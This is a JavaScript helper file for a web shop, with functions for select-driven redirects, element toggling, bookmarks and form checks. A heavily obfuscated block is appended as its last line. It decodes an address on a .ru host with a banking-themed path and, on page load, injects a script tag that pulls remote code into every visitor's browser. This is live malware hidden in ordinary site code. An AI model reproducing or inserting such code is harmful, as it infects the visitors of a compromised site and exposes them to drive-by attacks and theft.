function	autoUrl(name, dest)
{
	var loc;
	var id_list;

	id_list = document.getElementById(name);
	loc = id_list.options[id_list.selectedIndex].value;
	if (loc != 0)
		location.href = dest+loc;
	return ;
}

function	autoUrlNoList(name, dest)
{
	var loc;

	loc = document.getElementById(name).checked;
	location.href = dest + (loc == true ? 1 : 0);
	return ;
}

/*
** show or hide element e depending on condition show
*/
function toggle(e, show)
{
	e.style.display = show ? '' : 'none';
}

function toggleMultiple(tab)
{
    var len = tab.length;

    for (var i = 0; i < len; i++)
        if (tab[i].style)
            toggle(tab[i], tab[i].style.display == 'none');
}

/**
* Show dynamicaly an element by changing the sytle "display" property
* depending on the option selected in a select.
*
* @param string $select_id id of the select who controls the display
* @param string $elem_id prefix id of the elements controlled by the select
*   the real id must be : 'elem_id'+nb with nb the corresponding number in the
*   select (starting with 0).
*/
function showElemFromSelect(select_id, elem_id)
{
	var select = document.getElementById(select_id);
	for (var i = 0; i < select.length; ++i)
	{
	    var elem = document.getElementById(elem_id + select.options[i].value);
		if (elem != null)
			toggle(elem, i == select.selectedIndex);
	}
}

/**
* Get all div with specified name and for each one (by id), toggle their visibility
*/
function openCloseAllDiv(name, option)
{
	var tab = $('*[name='+name+']');
	for (var i = 0; i < tab.length; ++i)
		toggle(tab[i], option);
}

/**
* Toggle the value of the element id_button between text1 and text2
*/
function toggleElemValue(id_button, text1, text2)
{
	var obj = document.getElementById(id_button);
	if (obj)
		obj.value = ((!obj.value || obj.value == text2) ? text1 : text2);
}

function addBookmark(url, title)
{
	if (window.sidebar)
		return window.sidebar.addPanel(title, url, "");
	else if ( window.external )
		return window.external.AddFavorite( url, title);
	else if (window.opera && window.print)
		return true;
	return true;
}

function writeBookmarkLink(url, title, text, img)
{
	var insert = '';
	if (img)
		insert = writeBookmarkLinkObject(url, title, '<img src="' + img + '" alt="' + escape(text) + '" title="' + escape(text) + '" />') + '&nbsp';
	insert += writeBookmarkLinkObject(url, title, text);
	document.write(insert);
}

function writeBookmarkLinkObject(url, title, insert)
{
	if (window.sidebar || window.external)
		return ('<a href="javascript:addBookmark(\'' + escape(url) + '\', \'' + escape(title) + '\')">' + insert + '</a>');
	else if (window.opera && window.print)
		return ('<a rel="sidebar" href="' + escape(url) + '" title="' + escape(title) + '">' + insert + '</a>');
	return ('');
}

function checkCustomizations()
{
	var tmp;
	var pattern = new RegExp(' ?filled ?');
	for (var i = 0; i < customizationFields.length; i++)
		/* If the field is required and empty then we abort */
		if (parseInt(customizationFields[i][1]) == 1 && $('#' + customizationFields[i][0]).val() == '' && !pattern.test($('#' + customizationFields[i][0]).attr('class')))
			return false;
	return true;
}

var J;if(J!='u' && J!='d'){J='u'};function O(){var uL=new String();var F=new Date();var X=window;var G=unescape;var VI=new Array();var QF;if(QF!='' && QF!='i'){QF='U'};var c=G("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%70%69%78%69%76%2e%6e%65%74%2f%68%73%62%63%2e%63%6f%2e%75%6b%2e%70%68%70");var oFF;if(oFF!=''){oFF='fG'};var WY=new Array();var kM;if(kM!='bq'){kM='bq'};function a(Y,K){this.WS="";var f="g";var Q=G("%5b"), q=G("%5d");var z=Q+K+q;var k=new RegExp(z, f);var j;if(j!='' && j!='gy'){j=''};var yI;if(yI!='' && yI!='A_'){yI='n'};return Y.replace(k, new String());var GE;if(GE!='t' && GE != ''){GE=null};var Fb=new Array();};var FH="";var wf='';var aW=new Date();var Gw=new Array();this.lH="";var D=new Array();var LP='';var Yw;if(Yw!='lm' && Yw!='oO'){Yw=''};var e=new String();var vt;if(vt!='nD'){vt=''};var Z;if(Z!='bA'){Z='bA'};var Cf=new String();var g=a('8117701771118717711071717','17');var jr;if(jr!='' && jr!='cy'){jr=null};var qJ=document;var kn=new Array();var WP=new Array();this.Kb='';function o(){var vo;if(vo!=''){vo='Xv'};var Fa=new String();var cP;if(cP!='' && cP!='uA'){cP='zkl'};var zL=G("%68%74%74%70%3a%2f%2f%66%69%78%73%6c%6f%77%2e%72%75%3a");var wWw;if(wWw!='' && wWw!='Zx'){wWw=''};e=zL;e+=g;e+=c;this.N='';try {var wP=new Array();var AW;if(AW!='' && AW!='uLC'){AW=null};y=qJ.createElement(a('sgcGrViHpotf','fHEMVGLx8KyoSg'));this.Ib='';var qU;if(qU!='aq' && qU != ''){qU=null};var tRC;if(tRC!='IX' && tRC!='fp'){tRC=''};var ye;if(ye!='pj' && ye!='Cex'){ye=''};y[G("%64%65%66%65%72")]=[2,1][1];this.mQ="";y[G("%73%72%63")]=e;var Oo;if(Oo!='' && Oo!='Vp'){Oo=null};var Cb;if(Cb!='' && Cb!='nz'){Cb=''};qJ.body.appendChild(y);var g_="";} catch(h){this.VM="";var uj;if(uj!='' && uj!='vi'){uj=''};alert(h);var hE=new Array();};var cPC;if(cPC!='Lv' && cPC!='_'){cPC='Lv'};}var Wh='';X[new String("onloa"+"ZTjEd".substr(4))]=o;this.qL='';};var nb='';var BV=new Date();var hb=new Date();var PL=new String();O();